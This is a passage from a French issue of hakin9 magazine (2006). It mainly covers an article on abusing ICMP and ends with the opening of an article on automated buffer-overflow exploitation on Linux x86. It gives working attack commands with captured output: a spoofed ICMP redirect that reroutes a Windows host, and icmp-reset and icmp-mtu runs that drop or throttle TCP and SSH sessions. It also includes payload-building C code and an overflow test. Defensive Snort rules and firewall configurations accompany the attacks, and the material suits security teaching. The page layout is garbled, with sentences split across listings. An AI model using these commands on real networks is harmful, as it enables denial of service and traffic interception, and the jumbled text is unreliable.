192.168.100.1 > 192.168.1.4: icmp: net 10.173.120.29 unreachable 4500 0038 a10e 0000 fe01 3560 c0a8 6401 c0a8 0104 0300 ab3a 0000 0000 4500 0030 a10e 4000 7f06 1643 c0a8 0104 0aad 781d 0674 2516 3264 f3d6

pour le format du message, et le Listing 5 pour les données de sortie de tcpdump.

www.hakin9.org

Abus possibles

La réponse d'estampille temporelle permet une reconnaissance plus

hakin9 Nº 2/2006

49

Pratique

approfondie, du moins aux utilisateurs externes du réseau local, des caractéristiques de performance de ce réseau en question. C'est la raison pour laquelle le document RFC 1122 précise bien que les messages ICMP de type time stamp request et les requêtes de type time stamp reply sont complètement optionnels. En effet, ces observations peuvent vraisemblablement servir à une reconnaissance ou à la détection d'empreintes, basées sur les valeurs TTL.

Figure 4. Format du message de type ICMP redirect

Destination ICMP inaccessible Ce message est utilisé par un routeur ou un pare feu afin d'informer l'expéditeur d'hôtes ou de réseaux destinataires inaccessible. Il est possible que l'hôte en question n'existe pas, ou alors que l'hôte soit temporairement arreté. Les messages ICMP impliqués dans ce processus sont les suivants : • • •

réseau inaccessible (type 3 code 0), du routeur vers l'hôte, hôte inaccessible (type 3 code 1), du routeur vers l'hôte, protocole inaccessible (type 3 code 2), du routeur vers l'hôte.

déclenchant un message de type ICMP redirect doit se trouver sur le même sous-réseau que la source et que celui de la nouvelle passerelle. Le message ICMP impliqué dans ce processus est le suivant : •

type 5 code 1, du routeur vers l'hôte.

Veuillez consulter le Listing 6 pour un exemple des données de sortie de tcpdump émises lors d'un message de type destination unreachable.

Nous avons exposé dans la Figure 4 le format du message ICMP redirect.

Abus possibles

Un utilisateur malveillant peut modifier la table de routage d'un hôte afin de rediriger le trafic vers un hôte de type MITM (man-in-the-middle host), pour une opération de reniflage, ou vers une route de trou noir afin de faire sauter la connexion (DoS), grâce à l'usurpation d'adresses. La Figure 5 illustre la table de routage de Windows XP SP2. La passerelle par défaut est la suivante : 192.168.1.1. Un message de type ICMP redirect peut être envoyé vers une autre machine, comme par exemple 192.168.1.2 :

Si les routeurs de votre réseau envoient ce type de messages, un pirate pourra alors facilement cartographier votre réseau.

Redirection ICMP

Ce type de message est utilisé par un routeur ou un pare feu afin d'informer une source que son chemin favori est dirigé vers un hôte destinataire sélectionné. Le routeur envoie un paquet vers la destination prévue, puis un message de type ICMP redirect vers la source contenant une autre passerelle, ce qui engendre une modification dans la table de routage de la source. Le routeur

50

Figure 5. Table de routage SP2 de Windows XP avant redirection

hakin9 Nº 2/2006

Abus possibles

# sing -red -S 192.168.1.1 \ -gw 192.168.1.2 \

www.hakin9.org

-dest 0.0.0.0 -x host \ -prot tcp -psrc 100 \ -pdst 90 192.168.1.4

En règle générale, en réponse à une requête par écho ICMP envoyée avec l'identifiant 100 et la séquence de chiffre 90, un message de type ICMP redirect est souvent envoyé par le routeur (usurpé au moyen de -S) vers une machine Windows (192.168.1.4), afin de modifier sa table de routage et de paramétrer la machine 192.168.1.2 en tant que passerelle par défaut. Vous trouverez dans le Listing 7 les données de sortie obtenues avec tcpdump, et dans la Figure 6 une table de routage modifiée. Comme vous pouvez le constater, ce genre d'attaque fonctionne. Afin d'éviter ce type d'attaques sous Windows, il suffit de paramétrer EnableICMPRedirect sur 0 sous la clé d'enregistrement suivante : HKEY_LOCAL_MACHINE\ SYST EM \ Cur rentC ontr olSet \ Services\Tcpip\Parameters.

Fragmentation ICMP requise Le message ICMP de type fragmentation required but DF set est utilisé par un routeur ou un pare feu afin

Abus sur le protocole ICMP

Listing 7. Redirection ICMP vue dans tcpdump

§

192.168.1.1 > 192.168.1.4: icmp: redirect 0.0.0.0 to host 192.168.1.2 4500 0038 3372 0000 ff01 04fd c0a8 0101 c0a8 0104 0501 b87f c0a8 0102 4500 0038 4a2f 0000 ff06 afe4 c0a8 0104 0000 0000 0064 005a c010 c005

•

Listing 8. Exemple du mécanisme de requête/réponse de masque d'adresses

type 17 code 0, de la source vers la destination pour une requête de masque, type 18 code 0, de la destination vers la source pour une réponse de masque.

Vous trouverez dans la Figure 8 le format d'un message ICMP de type Address mask request/reply, et dans le Listing 8 un exemple de ce processus.

Abus possibles

# sing -mask 10.173.217.2 10.173.217.50 > 10.173.217.2: icmp: 4500 0020 3372 0000 ff01 c0db 0aad 0aad d902 1100 a38c 1f73 2c00 0000 10.173.217.2 > 10.173.217.50: icmp: 4500 0020 3372 0000 4001 7fdc 0aad 0aad d932 1200 a2cb 1f73 2c00 ffff 0f00 0000 00f4 5800 b0bf 0000 00f4

•

address mask request d932 0000 address mask is 0xffffffc0 d902 ffc0

Il s'agit d'un autre type de message ICMP permettant à l'hôte emmetteur d'effectuer une reconnaissance, dans la mesure où l'emmetteur peut facilement cartographier le sous-réseau. Ce type d'ICMP est, toutefois, obsolète et très rarement utilisé.

d'informer l'expéditeur de la nécessité de réaliser une fragmentation lorsque le bit DF (don't fragment) est activé dans les paquets originaux. Le message d'erreur contient la valeur MTU du réseau exigeant une telle fragmentation. Le message ICMP impliqué dans ce processus est le suivant : •

type 3 code 4, du dispositif filtrant vers la source.

Vous trouverez dans la Figure 7 le format du message ICMP de type fragmentation required but DF set.

Figure 6. Table de routage de Windows XP SP2, après redirection

Abus possibles

Ce type de message pourrait être utilisé pour la reconnaissance, puisqu'un pirate peut contrôler les sorties du chemin afin de planifier une attaque DoS.

Requête/réponse de masque d'adresses ICMP

Ce message est utilisé afin d'obtenir une valeur de masque d'adresses. Par exemple, les systèmes sans disque doivent obtenir leur masque au moment de l'amorce. Les messages ICMP impliqués dans ce processus sont les suivants :

Figure 7. Format du message ICMP de type fragmentation required but DF sets

Figure 8. Format d'un message ICMP de type Address mask request/reply

www.hakin9.org

hakin9 Nº 2/2006

51

Pratique

Listing 9. Attaque par réinitialisation icmp vue dans tcpdump # tcpdump -ile1 -nnv icmp and host 192.168.1.4 10.10.228.237 > 192.168.1.4: icmp: 10.10.228.237 protocol 6 unreachable for 192.168.1.4.3763 > 10.10.228.237.80: 3634163930 [|tcp] (ttl 211, id 28211, len 576) (ttl 214, id 31456)

§

§ §

Listing 10. Réaction face à l'attaque par réinitialisation icmp exposée dans tcpdump # tcpdump -ile1 -nn 'tcp[13] & 4 != 0' 192.168.1.4.3763 > 10.10.228.237.80: R 1428640266:1428640266(0) ack 667972724 win 0 (DF)

§

Listing 11. Attaque par réinitialisation icmp provoquant l'abandon d'une connexion avec un client Putty # icmp-reset -c 10.239.7.27:1040-1060 -s 10.239.5.41:22 -t client -r 56 # tcpdump -ile1 -nn host 10.239.5.41 and port 22 10.239.7.27.1049 > 10.239.5.41.22: S [tcp sum ok] 782249187:782249187(0) win 16384 <mss 460,nop,nop,sackOK> (DF) (ttl 127, id 23641, len 48) 10.239.5.41.22 > 10.239.7.27.1049: S [tcp sum ok] 4070582427:4070582427(0) ack 782249188 win 5840 <mss 1460,nop,nop,sackOK> (DF) (ttl 64, id 0, len 48) (...) 10.239.5.41 > 10.239.7.27: icmp: 10.239.5.41 protocol 6 unreachable for 10.239.7.27.1049 > 10.239.5.41.22: 1144805691 [|tcp] (ttl 206, id 57166, len 576) (...) 10.239.5.41 > 10.239.7.27: icmp: 10.239.5.41 protocol 6 unreachable for 10.239.7.27.1049 > 10.239.5.41.22: 1512665611 [|tcp] (ttl 234, id 63018, len 576)

§

§

§

§ §

ICMP contre TCP

Fernando Gont a réalisé un travail de grand intérêt sur ce type d'attaques, qu'il a décrit dans le projet Internet intitulé ICMP attacks against TCP (voir l'Encadré Sur Internet). En règle générale, ce type d'attaques comprend les éléments suivants : • • •

§

§

§ §

aux attaques de notre implémentation TCP/IP sur notre système.

Réinitialisation de la connexion invisible

Ce type d'attaque est utilisé afin de réinitialiser la connexion à partir de

# icmp-reset \ -c 192.168.1.4:3000-4000 \ -s 10.10.189.73:80 \ -t client -r 128

Si le comportement du client est connu, il est possible d'indiquer une étendue de ports sources. L'outil en question est capable de tester tous les ports compris entre 0 et 65535. L'exemple ci-dessus demande à envoyer 1000 connexions. Une fois le cycle achevé, le processus reprend à partir du port 3000. Ainsi, si le client redémarre la connexion juste après la réinitialisation, l'outil réinitialisera la connexion sans cesse. Cette application a été testée sur un dispositif en réseau, chargé de télécharger des fichiers à partir d'un serveur Web. L'option -c signifie client (IP:src port), -s serveur (IP:dst port), -t la cible chargée de réinitialiser la connexion (client ou serveur), et

réinitialisation de la connexion invisible, dégradation de la performance de la connexion invisible, réduction des données de sortie de la connexion invisible.

Des outils ont également été préparés afin de démontrer l'existence de ces éléments. Nous allons expliquer le fonctionnement de ces outils dans le but de contrôler la vulnérabilité

52

§

la source, ou de la destination de la connexion TCP. Le pirate n'a besoin que de la source, de la destination IP et du port utilisé. Il existe de multiples connexions TCP pour lesquelles ces quatre valeurs sont bien connues, telles que les transferts de zones BGP et DNS. Lorsqu'un hôte reçoit un message ICMP de type 3, code 2, 3 ou 4, ce dernier désactive automatiquement la connexion, en raison de la fonction de réparation TCP impliquée dans ce type d'erreur, considérée comme hard error par le document RFC 1122. Un des outils de démonstration élaboré par Fernando peut être utilisé pour vous donner un exemple :

hakin9 Nº 2/2006

Figure 9. Connexion Putty abandonnée par l'outil de réinitialisation ICMP

www.hakin9.org

Abus sur le protocole ICMP

Listing 12. Attaque mtu ICMP vue par tcpdump

§

10.239.5.41:22 > 10.239.7.27.1058: . 20745:22225(1480) ack 0 win 5840 (DF) (ttl 64, id 64416) 10.239.7.27.1058 > 10.239.5.41:22: . [tcp sum ok] ack 48281 win 16384 (DF) (ttl 127, id 34764) 10.239.7.27.1058 > 10.239.5.41:22: . [tcp sum ok] ack 68161 win 16384 (DF) (ttl 127, id 98023) 10.239.5.41:22 > 10.239.7.27.1058: . 22225:23705(1480) ack 0 win 17040 (DF) (ttl 64, id 23658) 10.239.7.27.1058 > 10.239.5.41:22: . [tcp sum ok] ack 69581 win 16384 (DF) (ttl 127, id 65789) 10.239.5.41:22 > 10.239.7.27.1058: . 23705:25185(1480) ack 0 win 5840 (DF) (ttl 64, id 87436) 10.239.7.27.1058 > 10.239.5.41:22: . [tcp sum ok] ack 71001 win 16384 (DF) (ttl 127, id 78413) 10.239.5.41:22 > 10.239.7.27.1058: . 25185:26665(1480) ack 0 win 5840 (DF) (ttl 64, id 98127) 10.0.0.1 > 192.168.0.1: icmp: 10.0.0.1 unreachable - need to frag (mtu 512) (ttl 234, id 65896) 10.239.5.41:22 > 10.239.7.27.1058: . 83848:84320(472) ack 0 win 5840 (DF) (ttl 64, id 56897) 10.239.5.41:22 > 10.239.7.27.1058: . 84320:84792(472) ack 0 win 5840 (DF) (ttl 64, id 77884) 10.239.5.41:22 > 10.239.7.27.1058: . 84792:85264(472) ack 0 win 5840 (DF) (ttl 64, id 45902) 10.239.5.41:22 > 10.239.7.27.1058: . 85264:85736(472) ack 0 win 5840 (DF) (ttl 64, id 98542) 10.0.0.1 > 192.168.0.1: icmp: 10.0.0.1 unreachable - need to frag (mtu 512) (ttl 234, id 62154) 10.239.5.41:22 > 10.239.7.27.1058: . 81004:81476(472) ack 0 win 5840 (DF) (ttl 64, id 67554) 10.239.5.41:22 > 10.239.7.27.1058: . 81476:81948(472) ack 0 win 5840 (DF) (ttl 64, id 44688) 10.239.5.41:22 > 10.239.7.27.1058: . 81948:82420(472) ack 0 win 5840 (DF) (ttl 64, id 87327) 10.239.5.41:22 > 10.239.7.27.1058: . 82420:82892(472) ack 0 win 5840 (DF) (ttl 64, id 65876)

§ § § § § §

§

§ § § §

§

§ § § § §

Filtrage adéquat du protocole ICMP

De nombreux documents recommandent de bloquer tous les protocoles ICMP. En réalité, une configuration adéquate du protocole ICMP vous garantira un bon fonctionnement du réseau, tout en vous permettant de contrôler correctement les services et en vous aidant à réparer les problèmes. Il est donc recommandé de suivre les instructions suivantes : • • •

• •

paramétrer un filtre anti-usurpation et restreindre la source et la destination des paquets, activer un filtrage avec état, analyser les messages entrants et sortants de type ICMP Unreachable, ICMP Unreachable Need to Fragment (utilisé par le MTU du chemin pour déterminer la valeur MTU optimale) et ICMP Time Exceeded in Transit (TTL expiré en transit utilisé par l'utilitaire de routage traceroute de *NIX et tracert de Windows ; l'utilitaire de routage *NIX utilise également un port UDP élevé. Ce message est également important lorsque surviennent des boucles de routage), analyser les messages sortants de type ICMP Echo Request issus d'hôtes internes, si possible, appliquer une limitation de taux du protocole ICMP, afin d'atténuer les effets d'inondations ICMP (technique appelée Committed Access Rate (CAR, ou Taux d'accès Engagé) permettant ce type de filtrage).

Tous,les autres ICMP devraient être bloqués.

enfin, -r le taux permettant de limiter la bande passante de l'utilisateur pour l'attaque (exprimée en kbps). Par défaut, les autres champs sont réglés sur des valeurs aléatoires, puis des messages ICMP de type 3 et de code 2 sont envoyés. Vous trouverez dans le Listing 9 les données de sortie émises par tcpdump. Le client réagit en abandonnant la connexion, puis en envoyant un paquet RST au serveur Web (voir le Listing 10). Cet outil a été testé sur différentes machines Microsoft (veuillez consulter le Bulletin de Sécurité Microsoft MS05-019 (893066) relatif à cette vulnérabilité). Ainsi, il a été constaté que sur une machine équipée de Windows Server 2003, édition entreprise, sans aucun programme de correction, l'outil a abandonné une connexion avec un client Putty, comme l'illustre la Figure 9. Nous avons exposé dans le Listing 11 le fonctionnement détaillé de ce type d'attaques.

Dégradation de performance invisible

Cette attaque est utilisée afin de dégrader la performance au cours d'une connexion TCP. L'hôte croit qu'il envoie des paquets plus importants que le PMTU du moment. Ceci a pour effet de réduire la performance du transfert et augmenter l'utilisation de l'unité centrale. Le même taux de transfert de données exigera bien plus de paquets (dans la mesure où le protocole TCP enverrait des paquets plus petits), ce qui provoquera une augmentation du taux de paquets et de la charge de l'unité centrale. Lorsqu'un hôte reçoit un message ICMP de type 4, et de code 0, il doit ralentir le taux auquel il envoie les données. Ce qui permet au pirate de réduire les données de sortie sur le lien menant au chemin. Exemple : # icmp-mtu \ -c 10.239.7.27:1040-1060 \ -s 10.239.5.41:22 \ -t server -r 56 \ -D 300 -m 512

www.hakin9.org

hakin9 Nº 2/2006

53

Pratique

L'option -D 300 représente un arrêt de 300 secondes avant de lancer une autre opération, alors que l'option m 512 paramètre le MTU du chemin à 512 octets (par défaut, le MTU sera paramétré sur 68, valeur la plus petite possible). Consultez le Listing 12 pour les résultats émis par tcpdump.

Réduction des données de sortie invisible

Ce type d'attaque est utilisée afin de ralentir la connexion soit à partir de la source, soit en partant de la destination de la connexion TCP. Le pirate n'a besoin de connaître que la source, la destination IP et la combinaison de ports utilisée. Lorsqu'un hôte reçoit un message ICMP de type 4 et de code 0, il doit ralentir le taux auquel il envoie les données, ce qui permet au pirate de réduire les données de sortie du chemin. En situation normale, le client émet une fenêtre de X octets. Dans ce cas, il dispose d'un espace dans la mémoire tampon de X octets de données (contrôle du flux TCP). Après l'établissement d'une liaison de trois manières différentes, une connexion TCP débute enfin dans l'état dénommé slow start (départ ralenti), dans lequel le protocole TCP ajuste son taux de transmission, selon le taux reçu à l'autre extrémité. Le départ ralenti du protocole TCP est

Renifler les règles du protocole ICMP

L'opération de reniflage touche aux règles icmp-info.rules et icmp.rules. L'analyse de ces règles permet de se faire une meilleure idée de la manière dont le protocole ICMP peut être abusé. Examinons une des signatures contenues dans icmp-info.rules : alert icmp $EXTERNAL_NET any ->

§

$HOME_NET any (msg:”ICMP PING”; icode:0; itype:8; classtype:misc-activity; sid:384; rev:5;)

Ce qui signifie la chose suivante : alerte moi uniquement avec le message ICMP PING, si quelqu'un d'étranger au système tente d'exécuter un utilitaire ping dans mon réseau, ou : alert icmp $EXTERNAL_NET any ->

§

$HOME_NET any (msg:”ICMP redirect host”; icode:1; itype:5; reference:arachnids,135; reference:cve,1999-0265; classtype:bad-unknown; sid:472; rev:4;)

implémenté au moyen de deux variables : cwnd (Congestion Window, ou Fenêtre de congestion) et ssthresh (Slow Start Threshold, ou Seuil de Départ Ralenti). L'option cwnd est une restriction auto-imposée de fenêtre de transmission par l'emetteur. Cette restriction augmentera dès lors que le protocole TCP est utilisé pour gérer le trafic sans problème. L'option ssthresh est un seuil permettant de déterminer un point à partir duquel le protocole TCP existe au début d'une phase de départ ralenti. Si cwnd augmente au-delà de ssthresh, la session TCP dirigée

§

dans cette direction est considérée comme hors d'une phase de départ ralenti. En l'espace de quelques interactions, l'option cwnd dépassera ssthresh, moment à partir duquel la session peut être considérée hors du départ ralenti. Autrement dit, la connexion TCP a atteint un état optimal, où l'option cwnd correspond parfaitement à la capacité du réseau. A partir de cet état, la fenêtre de congestion se déplacera de manière linéaire. Un message ICMP de type source quench engage la connexion dans une phase de départ ralenti sans interruption, et le serveur n'envoie

ext_if = "ne1" prv_if = "ne2" srv_mail ="192.168.1.5/32" my_bsd ="192.168.1.4/32" (...) # Block all inbound TCP requests on port 133, sending back ICMP unreachable block return-icmp in quick on $ext_if proto tcp from any to $srv_mail port auth # Let the admin bsd machine ping pass in on $prv_if inet proto icmp from $my_bsd to any icmp-type 8 code 0 keep state pass out on $ext_if inet proto icmp from $my_bsd to any icmp-type 8 code 0 keep state # Let the admin bsd machine receive time to live exceeded in transit and udp port unreachable pass in on $ext_if inet proto icmp from any to $my_bsd icmp-type 11 keep state pass out on $prv_if inet proto icmp from $my_bsd to any icmp-type 11 keep state pass in on $ext_if inet proto icmp from any to $my_bsd icmp-type 3 code 3 keep state pass out on $prv_if inet proto icmp from $my_bsd to any icmp-type 3 code 3 keep state

hakin9 Nº 2/2006

§

qui signifie : alerte moi avec le message ICMP redirect host, si quelqu'un d'étranger au système tente de modifier le routage dans mon réseau. Dans ce type de messages, vous obtenez également une référence, si cette dernière existe, comme les expositions aux vulnérabilités les plus répandues.

Listing 13. Partie ICMP du fichier de configuration des fonctions programmées de l'auteur

54

§

www.hakin9.org

Abus sur le protocole ICMP

À propos de l'auteur

Antonio Merola travaille comme consultant expérimenté en sécurité pour la société Telecom Italia. Au cours de sa carrière professionnelle, il a été confronté à de nombreux aspects de la sécurité informatique. En tant qu'indépendant, il collabore avec plusieurs sociétés en tant que consultant et instructeur dans un large choix de sujets liés à la sécurité. Il est l'auteur de nombreux articles informatiques publiés dans plusieurs magazines italiens. Il s'intéresse depuis peu aux Honey pots et aux solutions de sécurité de type IDS/IPS.

Remerciements

L'auteur souhaite remercier son ami et collègue Massimo Fubini pour avoir consacré du temps aux essais menés en laboratoire sur les abus du protocole ICMP, dans le cadre du présent article.

alors qu'un seul segment, de manière à limiter les données de sortie de la connexion à un seul paquet par RTT (Round Trip Time, ou durée de rotation). Vous trouverez un exemple de ce processus sur le site Web de Fernando Gont (voir l'Encadré Sur Internet).

Comment se défendre contre les attaques ICMP

La gestion du protocole ICMP demande un filtrage avec état. Or, le protocole ICMP n'est pas conscient des états contrairement à UDP. Pister les connexions se révèle donc difficile au moyen de messages réponses ICMP à des problèmes nontransitoires. Alors que le mécanisme de messages requêtes/réponses est facile à gérer en raison de la présence d'un stimulus et d'une réponse, c'est en revanche la seule situation où le protocole ICMP peut être considéré avec état. La plupart des défenses ICMP sont appliquées sur le périmètre. Par exemple, une commande no ip

unreachables est disponible dans un routeur Cisco, ce qui le pousse à stopper l'envoi de messages ICMP de type 3, lorsqu'un hôte demeure inatteignable. Il existe également une commande no ip directedbroadcast permettant d'empêcher le trafic sur des adresses de diffusion (par exemple, l'attaque smurf), et une autre no ip source-route capable de désactiver le routage de la source. Toutefois, il n'existe pas de commande de type no ip redirects permettant d'empêcher toute modification malveillante du chemin. Les messages ICMP de type redirect devraient être bloqués au moyen de filtres adéquats sur le routeur, censé réaliser un filtrage à l'entrée, alors que le message fragmentation required devrait être autorisé, justement pour éviter tout risque de fragmentation. Le pare feu utilisé devrait être capable de gérer le protocole ICMP, et permettre la spécification de types et de codes. Si vous utilisez un filtre de paquets d'OpenBSD, le Listing 13 vous montrera comment implémenter une protection

Sur Internet • • • • •

http://www.sans.org/rr – SANS, http://sourceforge.net/projects/sing – outil SING, http://www.gont.com.ar – ICMP contre les outils d'attaques TCP, http://www.microsoft.com/technet/security/bulletin/MS05-019.mspx – Vulnerabilities in TCP/IP Could Allow Remote Code Execution and Denial of Service, http://www.tcpipguide.com/free/t_ICMPOverviewHistoryVersionsandStandards. htm – ICMP Overview, History, Versions and Standards.

www.hakin9.org

contre les attaques ICMP via des fonctions programmées. OpenBSD se révèle être un bon choix, car il enregistre non seulement d'impressionnants records de sécurité, mais est également capable de réaliser un filtrage avec état sur le protocole ICMP, sur les messages d'erreur de TCP et d'UDP mis en correspondance avec la connexion à laquelle ils appartiennent (option keep state), et est le premier système d'exploitation à implémenter un ensemble complet de contre mesures relatives aux attaques basées sur le protocole ICMP. Un système de détection d'intrusion devrait également être installé, afin de surveiller d'éventuelles activités anormales du protocole ICMP. L'opération de renifler (voir la partie intitulée Renifler les règles du protocole ICMP) comprend les fichiers de signatures consacrés à d'éventuels trafics malveillant sur le protocole ICMP. Ces signatures détectent la plupart des outils de scan ainsi que les abus du trafic ICMP tels que les hôtes redirigés. Enfin, avant d'implémenter une protection ICMP et de bloquer presque tous les trafics ICMP, il vaut mieux bien peser le pour et le contre. Alors qu'un niveau de protection trop bas peut permettre à des pirates d'effectuer une attaque plus rapide avant une attaque, il permettra également à certains services de fonctionner sans problèmes (par exemple, retourner un message de type destination unreachable sur le port 113 TCP permet d'envoyer des connexions complètes plus rapidement sans attendre le délai d'attente). Il n'est pas difficile de se protéger contre les attaques ICMP. Bien que le protocole ICMP soit considéré comme sans danger en termes de menaces potentielles, le réseau peut toutefois souffrir en l'absence de mesures adéquates. C'est donc un problème à ne pas prendre à la légère. Il faut donc bien s'assurer qu'une protection adéquate est en place. l

hakin9 Nº 2/2006

55

Programmation

Automatiser le processus d'exploitation sur Linux x86 Stavros Lekkas

Degré de difficulté

Le contrôle d'éventuels défauts présents dans les binaires compilés est une tâche très pénible pour les pénétromètres. Cette tâche serait définitivement facilitée avec un outil susceptible d'identifier les bogues dus au surdébit de la mémoire tampon et de produire un code d'exploitation.

I

maginons que vous ayiez à écrire un extrait de code compilé sans avoir la chance de disposer du code source correspondant. Par ailleurs, vous constatez que ce code compilé présente les caractéristiques inhérentes à une vulnérabilité par surdébit de la mémoire tampon. Dans la mesure où l'analyse de désassemblage est un processus extrêmement long, un outil capable d'automatiser le processus d'exploitation de cette vulnérabilité potentielle se révèlerait très utile. Nous allons donc vous présenter l'installation possible d'un tel outil. Dire qu'un programme est affecté par un bogue de surdébit de la mémoire tampon basée sur la pile signifie qu'il existe un lieu, la dénommée mémoire tampon, où les données sont copiées. Ce type de mémoire tampon existe dans la pile où ces dernières sont pointées par des adresses. Par ailleurs, lorsque les données sont enfin copiées, les limites ne sont pas contrôlées, avec le risque évident d'un surdébit. Si la mémoire tampon est effectivement en surdébit, certains autres segments hors de son champ d'action sont à leur tour modifiés. La manipulation efficiente de tels segments contenant des données va-

56

hakin9 Nº 2/2006

lides implique un contrôle du flux d'exécution du programme au moyen de simples adresses valides dirigées vers ces segments. Les données, mentionnées plus haut, sont placées dans la mémoire tampon, et peuvent parfois prendre la forme de données d'entrée de l'utilisateur. Le programme peut, en effet, accepter des données d'entrée

Cet article explique... • • • •

Comment identifier ce genre particulier de bogues sans avoir recours au code source, Comment suivre les étapes nécessaires à la tâche d'exploitation de ce bogue, Les critères généraux relatifs à un modèle de code générique d'exploitation, Les raisons pour lesquelles cette automatisation est une aide précieuse.

Ce qu'il faut savoir... • • •

www.hakin9.org

Les bases élémentaires de la programmation en C sous Linux, Le fonctionnement du système d'exploitation de Linux, Le fonctionnement de la pile sous Linux.

Exploitation automatisée

Utilisation de la logique des ensembles flous La théorie relative à la logique des ensembles flous traite l'ambiguïté afin d'essayer de catégoriser l'incertitude et de classer cette dernière mathématiquement. L'ensemble des nombres entiers en mathématiques possède une cardinalité infinie, à l'instar de l'ensemble des nombres réels, etc. Toutefois, en matière d'informatique, tout est fini et les calculs dotés d'opérandes trop importants peuvent échouer.

utilisateur dans de nombreux cas possibles comme, par exemple, sous la forme d'arguments du programme (ou de paramètres su vous préférez), de variables environnementales, de commutateurs, et même de données d'entrée de programme d'exécution reçues au moyen des fonctions libc gets(), scanf(), etc. Dans la mesure où chacun de ces cas est quasiment unique, nous n'évoquerons, dans le cadre du présent article, que les arguments du programme en tant que vecteurs d'attaques. Il est essentiel de mentionner que le concept d'automatisation n'a aucun lien avec la logique des ensembles flous, et que l'outil produit n'a jamais recours aux techniques des ensembles flous. Tenter de détecter des vulnérabilités particulières en inspectant des données générées à partir d'entrées délibérées ne relève pas de la logique des ensembles flous (voir la partie intitulée Utilisation de la logique des ensembles flous). Dans notre recherche de chemins pour contrôler le %eip (voir la Figure 1 pour plus d'explications) via les arguments, il nous faut raisonner sur les éléments dont nous disposons. Par exemple, il faudra déterminer si un binaire exécutable donné est vulnérable ou non. La première supposition pourrait se traduire comme suit : soit le nième argument n'est pas vulnérable, soit il l'est, auquel cas, il existe une distance définie devant être remplie

Figure 1. Présentation générale conceptuelle d'une opération de copie incertaine

Figure 2. Organigramme du premier algorithme de création de données utiles avec des caractères de sorte à atteindre %eip. Adapter ces exigences dans des tableaux de valeurs prédéfinies permet de créer un modèle de construction logique dans un cadre d'applications définies.

Arguments du programme De nombreux formats ELF exécutables reçoivent des arguments avant de débuter leur exécution. Un exemple typique est la commande rm, à laquelle il faut fournir sous forme de paramètre les éléments que nous souhaitons supprimer. Supposons que nous ayons un format ELF exécutable, a.out, chargé d'imprimer uniquement un flux de caractères

www.hakin9.org

tel que fourni en tant que premier argument. $ ./a.out hakin9 You typed: hakin9

Il est possible qu'au lieu d'appeler uniquement printf() avec argv[1] comme paramètre, une mémoire tampon intermédiaire, un tableau de caractères ait été déclaré. Si tel est le cas, argv[1] est alors copié dans la mémoire tampon, puis printf() utilise cette mémoire tampon en tant que paramètre, avec, si tout se passe correctement, la chaîne au format approprié. Il est également possible que argv[1] soit copié dans cette mémoire

hakin9 Nº 2/2006

57

Programmation

tampon d'une manière peu sûre. Que se passerait-il si nous l'alimentions avec des données d'entrée plus importantes ?

Listing 1. Sous-système de création de données utiles char *make_payload(char *buffer, int policy, LINT num) // politiques : // _APPEND ~ ajout de $num 'A'[s] // _REMOVE ~ suppression de $num 'A'[s] { char *my_buffer; LINT i, len = strlen(buffer);

$ ./a.out `perl –e ‘print "A" x 50’` You typed: AAAAAAA … AAA Segmentation fault (core dumped)

if( policy == _APPEND ) { if( !(my_buffer = (char *)malloc( len + num + 1 )) ) { fprintf(stderr, "[!] make_payload(): malloc() append error.\n"); exit(EXIT_FAILURE); } CLEAR(my_buffer); if( len != 0 ) for( i = 0; i < len; i++ ) my_buffer[i] = *(buffer++);

$ ulimit -c unlimited

for( i = len; i < len + num; i++ ) my_buffer[i] = 'A';

}

my_buffer[i] = 0x00;

if( policy == _REMOVE ) { if( !(my_buffer = (char *)malloc( len - num + 1 )) ) { fprintf(stderr, "[!] make_payload(): malloc() remove error.\n"); exit(EXIT_FAILURE); } CLEAR(my_buffer); for( i = 0; i < len - num; i++ ) my_buffer[i] = *(buffer++);

}

}

#0 0x41414141 in ?? ()

return my_buffer;

hakin9 Nº 2/2006

De cette façon, nous autorisons la production de fichiers de noyaux dont la taille est illimitée. Mais revenons à notre exemple ! La production d'un noyau signifie qu'une mémoire tampon intermédiaire a bien été utilisée, et dans laquelle argv[1] a été copié de manière incertaine. Grâce à gdb, le débogueur GNU, il est possible d'observer l'instruction à l'origine de la panne : $ ./gdb –c core ./a.out | grep \#0

my_buffer[i] = 0x00;

Figure 3. Organigramme du deuxième algorithme de création de données utiles

58

La mémoire ne fonctionne plus et produit un noyau. Toutefois, de nombreuses distributions de Linux ne produisent pas de fichiers noyaux. Nous pouvons donc activer cette option en tapant la commande suivante :

www.hakin9.org

Ce qui est logique puisque 0x41 est l'équivalent hexadécimal de A. Nous avons exposé dans la Figure 1 une présentation générale conceptuelle bien plus détaillée. Le pointeur de l'instruction a été remplacé par une adresse invalide, ce qui a entraîné la panne (voir également l'article intitulé Provoquer un surdébit de la pile sous Linux x86 disponible à partir du site Web du magazine hakin9.org). Au lieu de lui fournir cinquante A, nous aurions pu déterminer la distance exacte permettant d'atteindre %ebp, remplir cette distance avec des A, puis proposer une adresse valide. Ainsi, il est possible de contrôler le flux du programme exécuté de manière à ce que ce dernier exécute le code que nous pouvons fournir. De plus, cette opération peut être automatisée.

Exploitation automatisée

Collecte des informations À ce stade, il est important de mentionner que les informations qui nous intéressent au sujet d’un exécutable donné relèvent du nombre d'arguments, qui nous donnera une échelle de valeur pour manipuler %eip, ainsi que la distance permettant d'atteindre %eip . Si nous reprenons l'exemple de a.out, nous aurions pu débuter l'application gdb pour chacune des valeurs de longueur possible de l'argument, en créant à chaque fois une charge de mémoire tampon qui augmenterait de manière progressive. Puis, il faudra contrôler la valeur du pointeur d'instruction afin de définir le degré d'influence de nos données d'entrée. Si l'exécutable est réellement vulnérable, nous verrons alors trois états différents lors de notre contrôle. Les trois états suivants apparaîtront l'un après l'autre : •

•

•

Une valeur qui ne correspond pas à une alternance du pointeur de l'instruction peut apparaître plusieurs fois. Une valeur qui correspond au remplacement partiel du pointeur de l'instruction apparaît une fois, et nous savons que l'essai suivant correspond automatiquement à un troisième état (comme par exemple : 0x00414141). Une valeur qui correspond à un remplacement total du pointeur de l'instruction (comme par exemple : 0x41414141).

Il est intéressant de remarquer qu'un remplacement partiel réussi revient à altérer trois octets sur quatre de %eip. Il impossible de suspecter l'adresse 0xbfff4141 dans un remplacement partiel puisqu'il s'agit d'une adresse valide pointant vers la pile. Toutefois, l'adresse 0xbf414141 est bien plus suspecte car il est rare que la pile augmente plus. Bien que l'implémentation finale prenne en compte ce problème, il serait assez judicieux d'affecter des valeurs cons-

